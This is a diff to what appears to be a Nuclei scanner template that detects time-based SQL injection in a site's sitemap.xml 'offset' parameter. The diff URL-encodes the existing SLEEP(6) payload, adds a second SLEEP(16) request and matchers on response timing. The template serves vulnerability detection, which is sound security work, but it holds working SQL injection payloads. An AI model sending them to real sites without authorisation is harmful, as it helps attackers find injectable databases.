diff --git a/http/vulnerabilities/other/sitemap-sql-injection.yaml b/http/vulnerabilities/other/sitemap-sql-injection.yaml index 72d02f42b5..dc5f3eaf4f 100644 --- a/http/vulnerabilities/other/sitemap-sql-injection.yaml +++ b/http/vulnerabilities/other/sitemap-sql-injection.yaml @@ -2,7 +2,7 @@ id: sitemap-sql-injection info: name: Sitemap - SQL Injection - author: Aravind + author: Aravind,j4vaovo severity: high reference: https://twitter.com/GodfatherOrwa/status/1647406811216072705?t=fbn0Eu34euKdrn4fL8UqfQ&s=19 metadata: @@ -14,13 +14,26 @@ http: - raw: - | @timeout: 15s - POST /sitemap.xml?offset=1;SELECT IF((SLEEP(6)),1,2356)# HTTP/1.1 + POST /sitemap.xml?offset=1;SELECT%20IF((SLEEP(6)),1,2356)# HTTP/1.1 Host: {{Hostname}} + - | + @timeout: 25s + POST /sitemap.xml?offset=1;SELECT%20IF((SLEEP(16)),1,2356)# HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and matchers: - type: dsl dsl: - - 'duration>=6' - - 'status_code == 200' - - 'contains(header, "application/xml") && contains(body, "sitemap>")' + - 'duration_1>=6' + - 'status_code_1 == 200' + - 'contains(body_1, "sitemap>")' + condition: and + + - type: dsl + dsl: + - 'duration_2>=16' + - 'status_code_2 == 200' + - 'contains(body_2, "sitemap>")' condition: and